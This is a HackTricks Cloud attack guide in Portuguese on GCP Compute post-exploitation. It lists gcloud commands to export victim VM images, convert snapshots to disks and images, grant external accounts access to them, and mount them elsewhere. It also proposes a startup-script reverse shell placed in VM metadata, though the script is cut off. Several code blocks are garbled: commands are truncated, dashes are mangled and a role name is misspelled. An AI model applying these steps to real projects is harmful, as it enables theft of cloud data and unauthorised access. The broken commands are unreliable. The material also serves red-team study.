GCP - Compute Post Exploitation
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Compute
Para mais informações sobre Compute e VPC (Networking) confira:
Exportar & Inspecionar imagens localmente
Isto permitiria que um atacante acessasse os dados contidos em imagens já existentes ou criasse novas imagens de VMs em execução e acessasse seus dados sem ter acesso à VM em execução.
É possível exportar uma imagem de VM para um bucket e então baixá-la e montá-la localmente com o comando:
Exportar e baixar imagem de VM
```bash gcloud compute images export --destination-uri gs://Antes de executar esta ação, o atacante pode precisar de privilégios sobre o bucket de storage e, com certeza, privilégios sobre cloudbuild, pois é o serviço que será solicitado a realizar a exportação.
Além disso, para isso funcionar o codebuild SA e o compute SA precisam de permissões privilegiadas.
O cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com precisa:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
E o SA <project-id>-compute@developer.gserviceaccount.com precisa:
- oles/compute.storageAdmin
- roles/storage.objectAdmin
Export & Inspect Snapshots & Disks locally
Não é possível exportar snapshots e discos diretamente, mas é possível transformar um snapshot em um disco, um disco em uma imagem e, seguindo a seção anterior, exportar essa imagem para inspecioná-la localmente
Criar disco a partir de snapshot e imagem a partir de disco
```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]Create an image from a disk
gcloud compute images create [IMAGE_NAME] –source-disk=[NEW_DISK_NAME] –source-disk-zone=[ZONE]
</details>
### Inspecionar uma image criando uma VM
Com o objetivo de acessar os **dados armazenados em uma image** ou dentro de uma **running VM** de onde um atacante **criou uma image,** é possível conceder a uma conta externa acesso à image:
<details>
<summary>Conceder acesso à image e criar VM</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
e então crie uma nova VM a partir dela:
Criar instância de VM a partir da imagem
```bash gcloud compute instances create [INSTANCE_NAME] \ --project=[TARGET_PROJECT_ID] \ --zone=[ZONE] \ --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME] ```Se você não puder conceder à sua conta externa acesso à imagem, você pode iniciar uma VM usando essa imagem no projeto da vítima e fazer com que os metadados executem um reverse shell para acessar a imagem adicionando o parâmetro:
Criar VM com reverse shell nos metadados
```bash --metadata startup-script='#! /bin/bash echo "hello";Inspecionar um Snapshot/Disk anexando-o a um VM
Com o objetivo de acessar os dados armazenados em um disk ou em um snapshot, você poderia transformar o snapshot em um disk, um disk em uma image e seguir os passos anteriores.
Ou você poderia conceder a uma conta externa acesso ao disk (se o ponto de partida for um snapshot, conceda acesso ao snapshot ou crie um disk a partir dele):
Conceder acesso ao disk
```bash gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member='user:[USER_EMAIL]' \ --role='roles/compute.storageAdmin' ```Anexar o disco a uma instância:
Anexar disco à instância
```bash gcloud compute instances attach-disk [INSTANCE_NAME] \ --disk [DISK_NAME] \ --zone [ZONE] ```Monte o disco dentro da VM:
- SSH na VM:
SSH na VM e monte o disco
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
- Identifique o Disco: Uma vez dentro da VM, identifique o novo disco listando os dispositivos de disco. Tipicamente, você pode encontrá-lo como
/dev/sdb,/dev/sdc, etc. - Formate e Monte o Disco (se for um disco novo ou raw):
- Crie um ponto de montagem:
Criar ponto de montagem e montar
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
- Monte o disco:
Montar o dispositivo do disco
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
Se você não puder conceder acesso a um projeto externo ao snapshot ou disco, pode ser necessário executar essas ações dentro de uma instância no mesmo projeto que o snapshot/disco.
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud

